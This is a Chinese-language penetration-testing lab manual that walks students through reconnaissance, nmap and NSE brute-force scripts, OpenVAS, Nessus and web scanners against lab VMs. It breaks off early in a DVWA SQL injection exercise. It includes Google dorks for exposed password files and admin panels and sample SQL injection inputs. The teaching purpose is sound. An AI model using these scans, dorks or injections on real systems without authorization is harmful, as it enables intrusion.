版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
实训手册渗透测试技术渗透测试技术渗透测试技术实训手册渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术渗透测试技术实训开始:登录实验平台学员使用实验室电脑,在浏览器输入http://x.x.x.x,x.x.x.x为实验平台登录地址,进入登录界面。输入学生账号、密码及验证码,登录实验平台。项目一信息收集被动信息收集实训说明实训目的学会使用Whois信息查询、子域名查询、nslookup和dig解析IP、netcraft查询、GoogleHacking和FOFA查询。背景知识了解被动信息收集的流程和方法。实习时长2个学时实训环境实训器材本地Windows操作系统、KaliLinux虚拟机。网络结构本地Windows操作系统KaliLinux(31)本实验中,主动信息收集需要依赖网络,请实验老师根据学校组网与实验环境分配IP,使学员本机和KaliLinux虚拟机能够访问互联网。实训内容启动KaliLinux。输入用户名kali和密码kali,点击登录,进入KaliLinux。Whois查询域名是由一串用点“.”来分隔的字符串组成的Internet网上某一台计算机或一组计算机的名称,用于在数据传输时对计算机进行定位标识,一个域名会映射到一个或多个IP地址。渗透测试过程中,通过域名查询信息的方式包括Whois查询、备案信息查询等。Whois查询就是一个用来查询域名是否已经被注册、注册域名的详细信息的数据库,可查询的信息包括域名所有人、域名注册商、域名注册日期和过期日期,还有域名归属者联系方式,这些信息在后续针对该域名的爆破攻击中十分有用。Whois信息查询的渠道包括:站长之家()、Whois官网(/)、爱站工具网()、Godaddy(/)。以【】为例,打开浏览器搜索站长之家网站。在站长工具中查询到【】的Whois信息如下所示。可看到站长之家中的Whois信息有注册商及域名的联系邮箱等,但其联系电话未显示全部信息。要查看全部的信息,可在Whois官网或Godaddy官网查看,具体信息图下图所示:网站的备案信息是根据我国的法律法规规定,由网站的所有者向国家有关部门申请的备案,这是国家工业和信息化部对网站的一种管理方法,主要为了防止在网站所有者在网上从事非法的网站经营活动。网站备案信息的局限性在于它主要针对国内网站,如果网站搭建在其他国家,则不会有备案信息。查询网站备案信息的渠道有:站长之家(/)和天眼查(/)。以【】为例,站长之家的网站备案信息查询结果如下:子域名查询子域名是指顶级域名下的域名,一个域名可分多级,每一级之间用“.”隔开,例如:,顶级域名指的是域名最右边的一级域名,比如例子中的.com,常见的还有.net、.org等。二级域名和三级域名分别是指倒数第二位以及倒数第三位的域名,比如例子中的.baidu和.youa。广泛而言,顶级域名下的都可以称为子域名。子域名的查询渠道有【https://phpinfo.me/domain】,首页如下图所示:以【】为例,搜索其子域名信息如下图所示,phpinfo不仅提供了子域名信息,还提供了对应的IP信息。nslookup解析IP在互联网早期时代,主机个数很少,用户访问某个主机时可通过IP直接访问,但IP地址这种点分十进制的表述方式不符合人类的记忆习惯,于是域名应运而生。虽然我们现在在浏览器中访问某个站点的时候是使用域名的形式,然而在地址解析的过程中,最终还是通过域名系统(DNS,DomainNameSystem)将域名解析为IP地址进行访问的。nslookup最初是一个对DNS服务器进行检测以及排错的命令行工具,我们可用其来实现将域名解析为IP地址,该工具由微软发布,在Windows操作系统中默认安装。以【】为例,打开Windows命令行,输入【nslookup】可得到域名解析的结果。观察其域名解析结果可发现,的解析IP包括【9】和【48】,使用这两个任意的IP直接在浏览器中访问,都是可以跳转到百度首页的。nslookup工具也支持交互模式的使用,直接在命令行中输入【nslookup】将进入交互操作模式,在解析域名的时候,也可以指定使用的DNS服务器,指定方法是直接在查询域名后面追加使用服务器的IP地址,以使用谷歌的DNS服务器为例,在进入nslookup的交互模式后,键入【】,将得到使用该DNS服务器解析的的IP,退出交互模式的方式是键入【exit】。dig解析IPdig是域信息搜索器(DIG,DomainInformationGroper),与nslookup类似,该命令也可用于执行域名解析任务。 同样以【baidu.con】为例,使用dig命令对其进行解析查询,其结果如下:可以看到该工具相对dig显示的信息更加全面,除了域名解析的结果,还有包括了域名服务器相关的信息。另外,dig指定DNS服务器的方式与nslookup略有不同,需使用【@】来表示DNS服务器,同样以使用google域名服务器解析为例,其命令为【dig@】。netcraft查询netcraft是一个可以查询到大部分知名网站详细信息的网站,可检索到的信息包括网站运行服务器的类型,使用web服务器类型,甚至可能包含服务器所在的机房信息。netcraft的网址为【/】,以博客园的网站域名【】为例,在搜索框中输入并查询。etcraft的查询结果包含背景描述、网络、SSL、主机历史、反垃圾邮件信息、电子邮件协议信息、Web跟踪器信息以及网站技术信息等,在网站技术信息中,我们可看到网站客户端和服务器端使用的框架、语言等信息,这些信息在我们的渗透测试过程中是十分有价值的。GooglehackingGooglehacking的指令有site、inurl、intitle
、intext
、filetype
、link等。Site用于子域名扫描,例如:【site:】,可搜索的子域名。Inurl用于搜索URL中存在关键字的页面,例如【inurlphpid】可搜索可能存在SQL注入的网页。Intitle可用于搜索网页标题中的关键字,例如【intitle后台登录】,可搜索后台登录的页面。Filetype可搜索指定的文件类型,例如【filetype:xls“sername|password”】可搜索xls格式的用户名和密码文件。Link可用于查找链接搜索域名的url,例如:【link:】可搜索的url。Intext可用于搜索网页正文中的关键字,例如【site:intext:后台管理】可用来搜索一些学校的后台。FOFAFOFA是白帽汇推出的一款用于网络空间资产搜索的引擎,访问地址为【/】,它能实现漏洞影响范围分析、应用分布统计等,能帮助用户快速进行网络资产匹配,FOFA也有简单的查询语法。通过domain=""搜索的子域名。通过title="后台登录"寻找网站后台。通过
body="管理后台",寻找管理后台。通过host="edu"&&country="CN"搜索域名中带有"edu"关键词的网站。通过port="7001"&&country=CN搜索开放weblogic服务并且位于中国的IP。 当然,fofa语法的用法远远不止上面所介绍的。熟练运用fofa语法可以帮助我们快速有效的进行信息收集与外围的打点工作。总结与思考实训总结这部分内容是学习信息收集相关工具的使用,主要内容包括:使用Whois信息查询、子域名查询、nslookup和dig解析IP、netcraft查询实现被动信息收集。使用Googlehacking和FOFA进行网络空间测绘。思考题除了书本上介绍的Whois信息查询,ip、域名与子域名等信息收集,你还知道哪些被动信息收集的方向?主动信息收集实训说明实训目的学会活跃主机扫描、操作系统指纹识别、端口扫描、服务指纹识别和web敏感目录扫描方法。背景知识了解主动信息收集的流程和方法。实习时长2个学时实训环境实训器材KaliLinux虚拟机、Metasploitable2-Linux虚拟机。网络结构KaliLinux(31)Metasploitable2-Linux(90)本实验中,请实验老师根据学校组网与实验环境分配IP,使学员本机和KaliLinux虚拟机能够访问互联网,并且Metasploitable2-Linux与KaliLinux在同一网段。实训内容实训准备启动KaliLinux。输入用户名kali和密码kali,点击登录,进入KaliLinux。活跃主机扫描活跃主机扫描可让渗透测试人员发现局域网中的所有活跃主机,为后续的横向移动等奠定基础,实现扫描的方式多种多样,可基于ARP、ICMP、TCP等协议实现。基于ARP实现的活跃主机扫描技术要求与目标主机位于同一网段,它的扫描速度更快、扫描结果也更加准确;基于ICMP的活跃主机扫描方式往往是安全设备的防御重点,因此扫描结果不太准确;基于TCP的活跃主机扫描技术是通过TCP三次握手协议实现的,扫描方式最常用的有TCPSYN和TCPACK两种。Metasploit中提供了活跃主机扫描功能模块,该功能属于辅助模块,具体的模块路径为modules/auxiliary/scanner/discovery/,该路径下的七个子项目arp_sweep、empty_udp、ipv6_multicast_ping、ipv6_neighbor、ipv6_neighbor_router_advetisement、udp_probe、udp_sweep。其中,arp_sweep发现活跃主机的原理是使用ARP请求枚举本地局域网络中的所有活跃主机。ARP(AddressResolutionProtocol)是一种地址解析协议,它的作用是将IP地址转换成MAC地址,以便能实现消息的发送与接收,具体的转换过程是通过广播ARP请求方式查询指定IP的MAC地址,IP符合查询的主机将自己的MAC地址回应,因此,能通过发送ARP请求来获取同一子网上的活跃主机信息。在使用Metasploit的arp_sweep模块进行活跃主机扫描时,先使用use命令启用该模块useauxiliary/scanner/discovery/arp_sweep。然后使用set命令设置扫描网段和线程数,然后执行run命令开始扫描。Nmap通过启用“-sP”参数也能够实现活跃主机扫描。以目标所在的网段为例,扫描整个网段-55共255个IP地址的具体命令为nmap-sP/24,“-sP”选项在默认情况下,会发送一个ICMP回声请求和一个TCP报文到目标端口,只进行Ping,然后显现出在线(做出响应)的主机,使用该选项扫描可以轻易地获取目标信息而不会被轻易发现。操作系统指纹识别操作系统指纹识别指的是识别某台设备上运行的操作系统的类型,例如操作系统指纹为Linux(kernel2.4),代表该操作系统为Linux系统,内核版本为2.4。识别的方法是通过分析设备在网络发送的数据包中协议的标记、选项等数据推断发送数据包的操作系统。通过操作系统指纹识别可以获取操作系统的具体类型,这为后续渗透测试中漏洞利用奠定了基础,因为许多漏洞都强依赖于操作系统的版本。p0f是一款被动探测操作系统指纹的工具,它通过嗅探方式分析网络数据包来判断操作系统类型,不会干涉双方的正常通信。此外,它还可以用于分析NAT、负载均衡、应用代理等。该工具可以运行在前台也可以后台运行。p0f探测的原理是利用TCP的SYN数据包实现操作系统的被动检测,能够正确地识别目标系统类型。由于在探测过程中不向目标系统发送任何数据,只被动地接受目标系统的数据进行分析,因此它几乎无法被检测到。p0f在kali2022.1中没有默认安装,因此在使用前需通过命令:gitclone/p0f/p0f.git克隆源码,然后通过命令sudoapt-getinstalllibpcap-dev安装P0f的相关运行环境libpcap,然后运行p0f自带的build.sh即可一键安装p0f,实验环境中的p0f工具已安装完成。安装完成后,进入p0f所在目录【/usr/local/share/p0f/】,键入“./p0f”将启动该工具。使用ifconfig查看Kali的网卡配置信息,可看到启用的网卡名称为eth0。使用p0f的“-i”参数设定监听网卡为eth0,“-p”参数设置监听模式为混杂模式,开始监听。然后开启Firefox浏览器,并在url地址栏中输入客户端的IP地址,由于Kali自带的浏览器在启动时会加载相关页面,因此可以观察p0f监听到的信息,可以看到目标系统客户端90的操作系统类型为Linux2.2.x-3.x。Nmap实现操作系统指纹识别是通过用TCP/IP协议栈的指纹进行远程操作系统探测来实现的,TCP/IP协议栈指纹就是各个厂家,如微软和RedHat在编写自己的TCP/IP协议栈时,对协议栈做出了不同的解释,这些解释因具有独一无二的特性,故被称为“指纹”。Nmap有1500多个已知操作系统的指纹信息,用“-O”参数可实现操作系统指纹识别功能,以本节中Kali虚拟机网络环境为例,命令为nmap-O90。端口扫描每个端口对应了一个网络服务及应用端的程序,通过端口扫描我们可以发现目标系统开放的端口、启用的服务,能够得到更具体的攻击面。Metasploit中提供了端口扫描功能模块,该功能属于辅助模块,具体的模块路径为modules/auxiliary/scanner/portscan/,该路径下的子项目共有ack、ftpbounce、syn、tcp和xmas共5个。其中,syn是通过使用发送TCPSYN标志的方式实现探测开放的端口目标,探测过程比较隐蔽,而且扫描速度会比较快。使用syn模块进行端口扫描时,首先用useauxiliary/scanner/portscan/syn启用端口扫描模块,然后使用set命令设置扫描的主机地址和线程个数,这里设置的主机地址为虚拟机的宿主机IP地址,然后使用run命令启动扫描,可看到主机90的TCP开启端口。用Nmap实现端口扫描,使用默认的扫描方式对目标的端口进行扫描,命令为nmap90,可以看到目标主机有977个关闭的端口,因为未加参数,默认只扫描1000个常见端口。Nmap默认的端口扫描方式是TCPSYN扫描,这种扫描方式的优点是执行得很快,如果扫描目标网络没有使用防火墙的话,每秒可以扫描数千个端口,而且这种扫描方式不易被注意到,能明确可靠地区分open(开放的)、closed(关闭的)、和filtered(被过滤的)状态。如果想要增加扫描范围,可以利用-p参数进行全端口扫描,命令为nmap90-p1-65535。服务指纹识别服务指纹识别主要是确定某个服务的版本信息,由于漏洞通常与服务的版本关联,因此服务指纹识别对后续的渗透测试也十分重要。Amap是一个服务枚举工具,使用这个工具可以识别正运行在一个指定的端口或一个端口范围上的应用程序。Amap的工作原理是向某个端口发送触发的报文,将收到的响应与其数据库中的结果进行匹配,输出与之相匹配的应用程序信息。Amap在Kali2022.1中未默认安装,需使用apt-getinstallamap进行安装。注:实验环境中已安装。安装完成后,键入amap运行Amap,其命令说明如下。使用Amap对目标80端口的服务进行扫描,可以看到80端口开启了HTTP和HTTP-Apache-2服务。此外,也可通过Amap的“-b”参数查看接收到的服务标识信息,具体命令为amap9080-b,根据扫描的信息可以确定该目标机80端口运行的Apache服务版本和后端脚本语言PHP版本。Nmap的服务指纹识别也是通过将其收集到的端口信息与自身的服务指纹数据库进行对比匹配实现的,服务版本查询可以用“-sV”参数实现。以本节中Kali虚拟机为例,具体的探测命令为nmap-sV90。Web目录扫描在我们部署了网站之后有很多的敏感文件,比如说配置文件(.cfg)、数据文件(.sql)、目录文件(/backup/conf/admin)。但是有些网站如果配置出现问题,就会被攻击者攻击。这些配置的问题会导致数据库用户名和密码、服务器的用户名和密码、数据库的文件、网站源码等等信息都会被入侵。如果黑客获得了相应文件后,就能对网站进行进一步的攻击!dirb是kali下自带的web目录扫描工具,使用dirsearch对目标机器进行扫描,用法如下:dirb90//usr/share/dirb/wordlists/big.txt可以看到mysql数据库的管理组件phpMyAdmin路径泄露。同样dirbuster可视化扫描工具,也是在kali中集成,使用dirbuster命令启动。填入目标机器url和相应的暴破字典即可。工具自带的字典路径为/usr/share/dirbuster/wordlists/,例如选择directory-list-2.3-small.txt进行web路径暴破。看到暴破到的web路径与其他敏感文件。总结与思考实训总结这部分内容是学习信息收集相关工具的使用,主要内容包括:使用工具实现活跃主机扫描、操作系统指纹识别、端口扫描、服务指纹识别和Web目录扫描。思考题除了书本上介绍的活跃主机扫描、操作系统指纹识别、端口扫描、服务指纹识别和Web目录扫描这些方向外,你还知道哪些主动信息收集的方向?项目二漏洞扫描网络漏洞扫描实训说明实训目的1.掌握使用Nmap查找特定服务漏洞。2.掌握使用OpenVAS扫描目标系统。3.掌握使用Nessees扫描目标系统。背景知识了解网络漏洞扫描工具的使用。实习时长2个学时实训环境实训器材KaliLinux虚拟机、Metasploitable2-Linux虚拟机。网络结构KaliLinux(32)Metasploitable2-Linux(90)本实验中,信息收集需要依赖网络,请实验老师根据学校组网与实验环境分配IP,使Metasploitable2-Linux与KaliLinux在同一网段。实训内容实训准备启动KaliLinux。输入用户名kali和密码kali,点击登录,进入KaliLinux。Nmap漏洞扫描Nmap可以作为信息收集工具来实现活跃主机扫描、操作系统指纹识别、端口扫描和服务指纹识别。但是Nmap这款工具还提供了一些网络漏洞扫描脚本用以实现特定服务漏洞扫描和验证。Nmap现有的功能脚本文件的默认目录为/usr/share/nmap/scripts。Nmap的脚本功能主要分为以下几类。auth:实现了绕开权限鉴定的脚本。broadcast:实现在局域网内探测DHCP、DNS、SQLServer等更多服务开启状况的脚本。brute:实现对HTTP、SNMP应用暴力破解的脚本。default:这是用-sC或-A参数扫描时默认的脚本,实现基本扫描能力的脚本。discovery:实现对SMB枚举、SNMP查询等网络更多信息收集的脚本;dos:实现拒绝服务攻击的脚本。exploit:实现利用已知漏洞入侵系统的脚本。external:实现whois解析等第三方数据库或资源的利用脚本。fuzzer:实现模糊测试的脚本,这些脚本通过发送异常的包到目标机来探测潜在的漏洞。intrusive:实现具有入侵性的脚本,这些脚本可能被目标主机的IDS/IPS等设备屏蔽并记录。malware:实现探测目标机是否已经感染病毒、是否开启后门等信息的脚本。safe:实现不具有入侵性的脚本。version:实现增强服务和版本扫描功能的脚本。vuln:实现目录主机是否有常见的漏洞的检查脚本。脚本常见使用方法可以通过nmap-h命令查看。Nmap脚本扫描常用参数解释如下。--script-args=<n1=v1,[n2=v2,...]>:提供脚本参数。--script-args-file=filename:提供NSE脚本参数字典文件。--script-trace:展示所有发送和接收的数据。--script-updatedb:更新脚本数据库。-sC参数等价于-sC=default使用默认类别的脚本进行扫描,可更换其他脚本类别。Metasploitable是一个靶机系统,里面包括多种典型的安全漏洞,十分适合用于测试安全工具和练习渗透测试技术,这里以Metasploitable2-Linux实验环境(IP:90)为例,使用Nmap以上脚本对目标系统进行扫描。使用Nmap的auth类型脚本进行鉴权绕过,检测系统内部一些弱口令。具体命令:nmap--script=auth90。可以看到目标系统22端口ssh服务认证方法为公钥登录和密码登录两种方式;3306端口mysql服务root账号空密码,并且枚举出mysql数据库用户debian-sys-maint、guest、root等;8180端口tomcat服务后台管理账号tomcat与密码tomcat以及Host脚本扫描枚举出的smb服务域和用户名。使用Nmap的brute脚本对目标系统的服务进行暴力破解,例如ssh,smtp,mysql等。具体命令为:nmap--script=brute90,一般多服务一起爆破通常需要很长时间,所以可以指定服务进行爆破,如ssh服务,具体命令为:nmap--script=ssh-brute90。使用Nmap的default脚本收集目标主机的服务信息,具体命令为nmap--script=default90。可以看到Nmap探测目标系统开启22、23、80、445、3306等很多常见服务端口详细信息。使用Nmap的vuln脚本探测目标主机可能存在的漏洞,具体命令为nmap--script=vuln90,观察结果可以发现目标系统存在很多漏洞。OpenVAS(GVM)漏洞扫描开放式漏洞评估系统(OpenVulnerabilityAssessmentSystem,OpenVAS),是一个开放式的漏洞评估工具,它是收费扫描工具Nessus的一个分支,以客户端/服务器(C/S)和浏览器/服务器(B/S)架构向用户提供服务。OpenVAS的服务器端有三个重要的组件:OpenVAS-Administrator、OpenVAS-Scanner和OpenVAS-Manager。其中,OpenVAS-Administrator是管理者组件,实现配置信息管理功能;OpenVAS-Scanner是扫描器组件,实现漏洞检测插件调用,完成扫描功能;OpenVAS-Manager是管理器组件,实现扫描任务分配,根据扫描结果生成评估报告的功能。客户端有OpenVAS-CLI和Greenbone-Desktop-Suite等,其中OpenVAS-CLI用于从命令行访问OpenVAS服务器,Greenbone-Desktop-Suite主要运行在Windows操作系统中,用于从图形界面中访问OpenVAS服务器。Kali2022.1中apt-getinstallopenvas命令已经废弃,并且OpenVAS已经改名为GVM。所以需要自行安装。具体安装步骤如下。sudoapt-getinstallgvm//安装sudogvm-setup//初始化sudogvm-check-setup//检查sudogvm-feed-update//升级漏洞库sudogvm-start//启动sudorunuser-u_gvm--gvmd--user=admin--new-password=password//修改web账号admin密码为password安装完成后,使用浏览器访问:9392,即可打开OpenVAS的首页。使用OpenVAS前需要创建用户,利用设置的用户名admin,密码password,登录OpenVAS的Dashboards首页。OpenVAS在进行漏洞扫描之前需要进行一些设置。在Configration→Targets中可以看到扫描目标,也可以在左上角星型按钮NewTarget中添加扫描目标。在Configration→PortLists中可以看到三种端口扫描类型。分别为AllIANAassignedTCP(所有TCP)、AllIANAassignedTCPandUDP(所有UDP)、AllTCPandNmaptop100UDP(所有TCP和Nmap扫描的前100UDP),一般默认端口扫描类型为AllIANAassignedTCP。在Configration→ScanConfigs中可以看到七种扫描配置。分别为Base(基础扫描)、Discovery(网络发现扫描)、Empty(空和静态配置模板扫描)、Fullandfast(快速全扫描)、HostDiscovery(主机发现扫描)、Log4Shell(CVE-2021-44228扫描)和SystemDiscovery(系统扫描),通常情况下使用Fullandfast扫描模式,该扫描模式会对目标系统做完整、快速的扫描。在Configration→Schedules中可以看到导出扫描报告的6种格式,分别为AnonymousXML、CSV、ITG、PDF、TXT、XML。在Configration→Scanners中可以看到CVE扫描和OpenVAS默认扫描2种扫描器。本节将以OpenVAS扫描Metasploitable2-Linux系统(IP:90)为例来进行介绍。新建扫描任务,单击Configuration→Targets→左上角星型按钮(新增按钮NewTarget),增加一个Target目标。Hosts里添加目标机器ip,也可以载入存放ip列表的list文件;端口列表PortList可以根据目标系统所在的网络环境进行选择,AliveTest一般默认选择ScanConfigDefault即可。添加成功可在Targets列表中看到上面所添加的目标。配置好扫描目标后,在Scans→Tasks中设置扫描任务NewTask。设置扫描任务名称,选择扫描对象为之前创建的Metasploitable2-Linux,在ScanConfig中选择Fullandfast扫描模式,设置NVT并发数为30,击右下角的“Save”,保存扫描任务设置。扫描任务创建完成后,单击任务列表的Start,启动扫描任务。等待扫描结束后,在Scans→Results中找到Metasploitable2-Linux,点击Date列的日期进入,可以看到漏洞扫描结果中高、中、低危漏洞所占的比例与柱状图。点开Vulnerability还能看到漏洞详情。选择“Results”的界面,单击“DownloadfilteredReport”按钮,导出扫描报告。报告导出后,可打开下载的PDF文件,查看报告内容。Nessus漏洞扫描Nessus是重要的渗透测试工具之一,全世界超过75000个组织在使用它,是世界上最流行的漏洞扫描程序。Nessus目前分为NessusEssentials、NessusProfessional版本。其中Essentials版本为免费版本。在Linux、FreeBSD、Solaris、MacOSX和Windows下都可以使用Nessus。本节以Kali2022.1中安装的nessus-8.15.3版本软件对目标系统Metasploitable2-Linux(ip:90)为例来介绍Nessus的使用。使用命令sudo/bin/systemctlstartnessusd.service启动Nessus服务浏览器中访问Nessusweb界面:8834/,输入用户名密码nessus/nessus进入后台,在MyScans→NewScan中创建扫描任务。在Nessus中有很多预置的扫描模板ScanTemplates。例如选择AdvancedScan进行扫描。添加目标。启动扫描。扫描结果。查看漏洞列表。查看漏洞详情。导出报告。查看报告。总结与思考实训总结这部分内容是关于网络漏洞扫描工具的操作过程,主要内容包括:掌握使用Nmap查找特定服务漏洞。掌握使用OpenVAS扫描目标系统。掌握使用Nessees扫描目标系统。思考题本单元学习的几种网络漏洞扫描工具中,实现原理是否相同?它们对于漏洞的探测程度取决于什么?Web应用漏洞扫描实训说明实训目的掌握用BurpSuite、W3AF、AWVS和AppScan扫描目标网站。背景知识了解web应用漏洞扫描工具的使用。实习时长2个学时实训环境实训器材KaliLinux虚拟机、Win7虚拟机。网络结构KaliLinux(35)Win7(36)本实验中需要依赖网络,请实验老师根据学校组网与实验环境分配IP,使KaliLinux以及Win7虚拟机在同一网段。实训内容实训准备启动KaliLinux。输入用户名kali和密码kali,点击登录,进入KaliLinux。启动Windows7虚拟机。输入密码【shiyan】登录系统。BurpSuite漏洞扫描BurpSuite的Scanner模块可以用来实现自动检测Web站点的漏洞,我们可以使用BurpSuite的Scanner模块对目标网站系统进行普通漏洞类型的渗透测试。使用BurpSuite【Scanner】前,要配置好【Proxy】和浏览器的代理模式,然后在【Target】模块中选择要进行漏洞扫描的目标网站,实现漏洞扫描。我们继续以WordPress应用为例,讲解用BurpSuite实现Web应用漏洞扫描。启动BurpSuite的方法为在root用户角色下,使用【cd/usr/bin/】进入【/usr/bin/】路径下,键入【java-jar/usr/bin/burp-loader-keygen.jar】命令。点击【run】,运行程序,选择默认的。选择【Temporaryproject】创建一个临时项目。选择【useBurpdefaults】,使用默认配置。启动后,可看到BurpSuite的首页。BurpSuite默认监听【】的【80】端口,我们需要设置浏览器的代理。KaliLinux中自带的浏览器是火狐浏览器(FireFox),它的代理设置入口为页面右上角的按钮,点击【Preferences】选项卡。找到【NetworkSettings】子项,点击【Settings……】按钮。在【ConnectionSettings】中启动手动设置代理【Manualproxyconfiguration】,设置代理地址和端口,点击【OK】按钮,即可完成Firefox的代理设置。接下来,通过【service】命令开启【WordPress】服务。在proxy模块中启动监听模式,浏览器中访问【http://localhost/wordpress/】。回到BurpSuite中,点击【target】-【sitemap】,右键目标站点,选择【Activelyscanthishost】。点击【next】,选择扫描的文件对象。点击【ok】,扫描整个站点。开始扫描后可以看到目标站点的网站结构。返回【scanner】模块,可以查看实时扫描信息可点击【Scanqueue】,查看扫描队列扫描结束后,可在【target】模块的【issue】视图中,选中想要导出的事件,导出报告,我们导出跨域请求伪造漏洞的报告。选择【HTML】文件格式,点击【next】,导出HTML格式的报告。选择报告导出路径,此处将报告导出在桌面上。报告导出后,可到保存的路径下查看导出的报告W3AF漏洞扫描W3AF是一个Web应用程序攻击和审计的框架,能够识别和利用Web应用程序漏洞,该软件既可以通过图形化界面访问,也可以通过命令行使用,图形化界面工具为w3af-gui、命令行的工具名为w3af-console。W3AF使用Python语言编写,用户也可通过Python语言编写插件使用,目前该工具有130多个插件,这些插件能够识别并利用SQL注入、跨站脚本、远程文件包含等等。W3AF的主要插件共包含三种,分别为爬取站点获得新URL地址的爬取类(Crawl)、向爬取类插件爬取的注入点发送特定POC数据以确认漏洞是否存在的审计类(Audit)、对审计类插件发现的漏洞进行攻击和利用的攻击类(Attack),其他插件包含基础插件(Infrastructure)、检索插件(Grep)、输出插件(Output)、请求或响应修改插件(Mangle)、暴力破解插件(Broutforce)、规避插件(Evasion)。W3AF有Linux版本也有Windows版本,在Windows7虚拟机中,双击【w3afGUI】打开软件。在用户账户控制中选择【是】。在更新失败告警框中,选择【ok】即可。打开软件后其首页图下图所示。其中,【Profiles】是预定义的插件类型,【Plugin】是用户可用的具体插件内容,我们可在此选取插件定义自己要实现的检测,下面的【Output】是指定扫描结果输出及存储的方式及路径,【Target】是用户输入要扫描的目标站点的位置。我们同样以WordPress应用作为扫描站点,介绍使用W3AF对目标站点进行扫描的过程。通过【service】命令在Kali中启动WordPress服务。在W3AF中配置扫描信息,首先选择【full_audit】插件类别,然后配置扫描目标为【35/wordpress/】,接下来在【Output】模块中选择输出文件格式为【htmlFile】,设置【fileName】为报告存储的文件名,启动【verbose】,输出详细信息,点击【Saveconfiguration】保存对扫描结果输出的配置,配置完成后点击【Start】开始扫描任务。等待扫描结束后,可点击【Results】按钮查看扫描结果,如下图所示。此外,还可在W3AF的安装路径下查看扫描报告。查看扫描报告内容如下图所示。AWVS漏洞扫描AWVS(AcunetixWebVulnarabilityScanner,AcunetixWeb漏洞扫描器),是一个可用于Web安全漏洞扫描的工具,能够实现站点的爬取、遍历获取目标网站的目录结构,搜索给定网段中开启了80端口和443端口的主机,子域名搜索,SQL盲注等功能。KaliLinux中默认不安装AWVS,需要用户自己手动安装。自AWVS11后,用户通过网页访问使用AWVS,安装时需设置主机信息、邮箱地址和登录密码,使用时通过设置的主机信息进行登录。我们同样以【WordPress】服务为例,讲解用AWVS实现Web应用漏洞扫描方法。AWVS的启动方法是打开【chrome】浏览器,访问【:3443/】,登录AWVS。使用【shiyan20210317@163.com】用户名,密码【Shiyan1234】登录,可以看到AWVS首页。点击【AddTarget】,添加一个扫描目标,此处添加【/wordpress/】WordPress服务的访问地址,输入网址后点击【save】保存。在【TargetInformation】模块中选择【fast】,设置扫描速度。如果网站需要登录,在【SiteLogin】模块中设置用户名和密码,我们的实验中是不需要用户名和密码的,因此不启用该模块。各项配置项设置好后,点击【Save】保存,然后点击【Scan】,开始扫描。等待扫描结束后,扫描结果概览如下图所示。可以点击【Vulnerabilities】子页,查看漏洞扫描详情。可点击【SiteStructure】子页,查看网站结构。可以点击【Events】子页,查看扫描过程记录。可点击扫描结果界面右上角的【GenerateReport】按年,导出扫描报告。选择导出【pdf】格式的报告,选择路径进行存储,查看导出的报告结果如下图所示。APPScanAppScan是一个可用于Web安全漏洞扫描的工具,由IBM开发,主要用于Windows操作系统,能够利用爬虫技术进行网站安全渗透测试、根据网站入口自动地对网页链接进行安全漏洞扫描,扫描结束后会提供扫描报告和修复建议等。AppScan在扫描目标是首先探索整个目标页面,然后使用扫描库修改HTTP请求,进行各类攻击尝试,最后通过分析请求的响应包来验证目标站点是否存在安全漏洞,AppScan预定义的扫描策略主要包括:【缺省值】:包含多种测试方式,但会除去侵入式和端口监听;【仅应用程序】:包含所有应用程序级别的测试,但会去除侵入式和端口监听;【仅基础结构】:包含所有基础结构级别的测试,但会去除侵入式和端口监听;【侵入式】:包含所有侵入式测试,该方式可能会影响服务器的稳定性;【完成】:包含所有AppScan的测试;【关键的少数】:包含成功可能性较高的测试,该方式可在评估目标站点的时间有限时使用;【开发者精要】:包含成功可能性极高的应用程序测试,该方式可在评估目标站点的时间有限时使用;我们同样以【WordPress】服务为例,讲解用AppScan实现Web应用漏洞扫描方法。在Kali中开启WordPress服务。AppScan的启动方法是打开【Windows7】虚拟机,双击桌面上的【IBMSecurityAppScanStandard】快捷方式,打开AppScan软件。 允许权限申请。打开后,软件首页如下图所示。点击【创建新的扫描】,在预定义的模板中选择【常规扫描】。 在扫描配置配置向导中选择【AppScan(自动或手动)】的站点探索方式,点击【下一步】。 在【URL和服务器】配置项中填写扫描目标网站地址【35/wordpress/】,其中【35】是Kali虚拟机的IP地址。 在登录管理向导中选择【无】,不登录,点击【下一步】。 在测试策略向导中选择【缺省值】测试策略,点击【下一步】。 启动方式选择【启动全面自动扫描】方式,点击【完成】,完成AppScan的扫描配置。 在自动保存询问对话框中选择【是】,立即保存扫描。 选择扫描文件的存储路径及文件名,点击【保存】。 扫描开始后,会快速进行第一遍探测,结束后可看到目标站点的网站结构概要和AppScan请求的URL等信息。接下来配置进行全面扫描,点击【扫描】选项卡,选择【扫描配置】。在【扫描配置】中选择【环境定义】,将扫描站点的操作系统进行如下配置,点击【应用】。在环境定义重新验证对话框中选择【是】,点击【关闭】。点击【确定】,完成扫描配置。在主界面上单击【扫描】图标的下三角,选择【继续完全扫描】。若有网络连接请求询问,则选择【允许访问】。等待扫描完成,可点击【问题】按钮,查看扫描的报告。总结与思考实训总结这部分内容是关于Web漏洞扫描工具的操作过程,主要内容包括:用BurpSuite、W3AF、AWVS和AppScan扫描目标网站。思考题本单元学习的几种Web漏洞扫描工具中,实现原理是否相同?简述一下他们的优缺点。
项目三Web漏洞利用SQL注入实训说明实训目的1.掌握SQL注入基本方法2.掌握SQL注入的步骤3.学会使用sqlmap工具背景知识1.掌握SQL注入的基本原理2.掌握SQL注入的分类和判断3.掌握SQL注入的基本防御实习时长2个学时实训环境实训器材Win7虚拟机网络结构Win7虚拟机(33)本实验中,请实验老师根据学校组网与实验环境分配IP。实训内容实训准备启动Windows7虚拟机。输入密码【shiyan】登录系统。启动phpstudy,打开Apache和MySQL服务登录DVWA,在浏览器输入/DVWA/login.php,转到DVWA的登录页面,使用账号admin,密码111111进行登录。SQL注入-LowDVWA1.9的代码分为四种安全级别:Low,Medium,High,Impossible。选择Low安全级别。然后点击“SQLInjection”进入SQL注入关卡。判断是否存在注入,注入是字符型还是数字型输入1,查询成功:输入1'or'1'='2,查询失败,返回结果为空:输入1'or'1234'='1234,查询成功。返回了多个结果,说明存在字符型注入。猜解SQL查询语句中的字段数输入1'or1=1orderby1#,查询成功:输入1